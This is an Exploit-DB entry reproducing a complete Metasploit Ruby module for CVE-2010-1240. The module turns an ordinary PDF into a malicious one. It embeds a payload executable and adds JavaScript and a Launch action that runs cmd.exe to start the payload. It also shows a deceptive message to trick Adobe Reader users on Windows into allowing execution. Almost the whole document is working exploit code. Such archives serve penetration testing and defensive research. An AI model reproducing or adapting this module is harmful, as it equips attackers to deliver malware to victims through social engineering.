标题: Adobe PDF - Embedded EXE Social Engineering (Metasploit) EDB-ID: 16671 CVE: 2010-1240 类型: LOCAL 平台: WINDOWS 发布日期: 2010-12-16 漏洞利用脚本: ##
# $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::PDF_Parse
 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Adobe PDF Embedded EXE Social Engineering',
   'Description'  => %q{
     This module embeds a Metasploit payload into an existing PDF file. The
    resulting PDF can be sent to a target as part of a social engineering attack.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'Colin Ames <amesc[at]attackresearch.com>', # initial module
     'jduck' # add Documents for vista/win7
    ],
   'Version'        => '$Revision: 11353 $',
   'References'     =>
    [
     [ 'CVE', '2010-1240' ],
     [ 'OSVDB', '63667' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
     [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
    ],
   'Payload' =>
    {
     'Space'       => 2048,
     'DisableNops'  => true,
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
    ],
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
    OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
    OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
    OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
     "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
   ], self.class)
 end

 def exploit

  file_name = datastore['INFILENAME']
  exe_name = datastore['EXENAME']

  print_status("Reading in '#{file_name}'...")
  stream = read_pdf()
  print_status("Parsing '#{file_name}'...")
  pdf_objects = parse_pdf(stream)
  print_status("Parsing Successful.")
  xref_trailers  = pdf_objects[0]
  trailers = pdf_objects[1]
  startxrefs = pdf_objects[2]
  root_obj = pdf_objects[3]

  output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)

  print_status("Creating '#{datastore['FILENAME']}' file...")
  file_create(output)
 end


 def ef_payload(pdf_name,payload_exe,obj_num)

  if !(payload_exe and payload_exe.length > 0)
   print_status("Using '#{datastore['PAYLOAD']}' as payload...")

   payload_exe = generate_payload_exe
   file_size = payload_exe.length
   stream = Rex::Text.zlib_deflate(payload_exe)
   md5 = Rex::Text.md5(stream)

  else
   print_status("Using '#{datastore['EXENAME']}' as payload...")

   file_size = File.size(payload_exe)
   stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
   md5 = Rex::Text.md5(File.read(payload_exe))

  end

  output = String.new()

  output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
  output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


  return output
 end

 def js_payload(pdf_name,obj_num)

  output = String.new()
  output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
  output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

  # change to the home drive/path no matter what
  output << "%HOMEDRIVE%&cd %HOMEPATH%"

  # check for the pdf in these dirs, in this order..
  dirs = [ "Desktop", "My Documents", "Documents" ]
  dirs.each { |dir|
   fmt = "&"+
    "("+
     "if exist \"%s\" "+
      "(cd \"%s\")"+
    ")"
   fname = "%s\\\\#{pdf_name}.pdf" % dir
   output << fmt % [fname, dir]
  }
  launch_message = datastore['LAUNCH_MESSAGE']
  lines = []
  launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
  if (lines.length > 2)
   print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
  end

  output << "&"+
   # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
   "(start #{pdf_name}.pdf)"+
   # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
   ("\n"*10) +
   launch_message+
   # note: this extra rparen is required.
   ")"+
   ">>>>\rendobj\r"

  return output

 end


 def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)

  file_name = file_name.split(/\//).pop.to_s

  match = file_name.match(/(.+)\.pdf/)
  if match
   pdf_name = match[1]
  end

  catalog = parse_object(xref_trailers,root_obj,stream)


  match = catalog.match(/Names (\d+ \d) R/m)
  if match

   names = parse_object(xref_trailers,match[1],stream)
   match = names.match(/EmbeddedFiles (\d+ \d) R/m)
   if match
    embedded_files = parse_object(xref_trailers,match[1],stream)
    new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
   else
    new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
   end

  else
   new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
  end

  if catalog.match(/OpenAction/m)

   match = catalog.match(/OpenAction (\d+ \d) R/m)
   if match
    open_action = "#{match[1]} R"

    if new_catalog
     if new_embedded_files
      new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
     elsif new_names
      new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
     else
      new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
     end
    else
     if new_embedded_files
      new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
     elsif new_names
      new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
     else
      new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
     end

    end
   else
    if new_catalog
     new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    else
     new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    end
   end
  else
   if new_catalog
    if new_embedded_files
     new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    elsif new_names
     new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    else
     new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    end

   else
    if new_embedded_files
     new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
    elsif new_names
     new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
    else
     new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
    end
   end
  end



  pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
  pages = parse_object(xref_trailers,pages_obj,stream)

  page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
  page = parse_object(xref_trailers,page_obj,stream)

  match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  while match

   page_obj = match[1]
   page = parse_object(xref_trailers,page_obj,stream)
   match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  end

  match = page.match(/AA<<\/O (\d+ \d) R/m)
  if match
   aa = parse_object(xref_trailers,match[1],stream)
  end


  new_pdf = String.new()
  xrefs = String.new()


  if new_embedded_files
   pdf_payload = String.new()
   num = trailers[0].fetch("Size").to_i - 1
   pdf_payload << ef_payload(pdf_name,exe_name,num)
   pdf_payload << js_payload(pdf_name,num)
   new_pdf << stream << pdf_payload

   xrefs = xref_create(new_pdf,stream.length,"*")

   new_size = trailers[0].fetch("Size").to_i + 4

   if aa
    new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
   else
    new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
   end

   new_pdf << new_catalog
   xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

   new_pdf << new_page
   xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

   new_pdf << new_embedded_files
   xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

   if trailers[0].has_key?("ID")
    new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
   else
    new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
   end

   new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

  elsif new_names
   pdf_payload = String.new()
   num = trailers[0].fetch("Size").to_i
   pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
   pdf_payload << ef_payload(pdf_name,exe_name,num)
   pdf_payload << js_payload(pdf_name,num)
   new_pdf << stream << pdf_payload

   xrefs = xref_create(new_pdf,stream.length,"*")

   new_size = trailers[0].fetch("Size").to_i + 5

   if aa
    new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
   else
    new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
   end

   new_pdf << new_catalog
   xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

   new_pdf << new_page
   xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

   new_pdf << new_names
   xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

   if trailers[0].has_key?("ID")
    new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
   else
    new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
   end

   new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


  else
   pdf_payload = String.new()
   num = trailers[0].fetch("Size").to_i + 1
   pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
   pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
   pdf_payload << ef_payload(pdf_name,exe_name,num)
   pdf_payload << js_payload(pdf_name,num)
   new_pdf << stream << pdf_payload
   xrefs = xref_create(new_pdf,stream.length,"*")

   new_size = trailers[0].fetch("Size").to_i + 6

   if aa
    new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
   else
    new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
   end

   new_pdf << new_catalog
   xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

   new_pdf << new_page
   xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

   if trailers[0].has_key?("ID")
    new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
   else
    new_pdf << "xref\r\n" << xrefs
    new_pdf << "trailer\r\n"
    new_pdf << "<</Size #{new_size}/Prev #{startxref}"
    new_pdf << "/Root #{trailers[0].fetch("Root")} R"
    new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
   end

   new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


  end


  return new_pdf
 end
end URL: https://www.exploit-db.com/exploits/16671